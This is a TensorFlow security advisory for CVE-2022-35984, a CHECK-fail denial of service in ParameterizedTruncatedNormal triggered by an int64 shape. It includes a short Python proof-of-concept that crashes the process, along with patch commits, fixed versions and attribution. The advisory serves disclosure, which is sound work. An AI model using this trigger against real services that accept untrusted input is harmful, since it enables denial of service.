Skip to content

Latest commit

 

History

History
31 lines (23 loc) · 1.69 KB

tfsa-2022-115.md

File metadata and controls

31 lines (23 loc) · 1.69 KB
Raw

TFSA-2022-115: CHECK fail in ParameterizedTruncatedNormal

CVE Number

CVE-2022-35984

Impact

ParameterizedTruncatedNormal assumes shape is of type int32. A valid shape of type int64 results in a mismatched type CHECK fail that can be used to trigger a denial of service attack.

import tensorflow as tf
seed = 1618
seed2 = 0
shape = tf.random.uniform(shape=[3], minval=-10000, maxval=10000, dtype=tf.int64, seed=4894)
means = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)
stdevs = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)
minvals = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)
maxvals = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)
tf.raw_ops.ParameterizedTruncatedNormal(shape=shape, means=means, stdevs=stdevs, minvals=minvals, maxvals=maxvals, seed=seed, seed2=seed2)

Patches

We have patched the issue in GitHub commit 72180be03447a10810edca700cbc9af690dfeb51.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University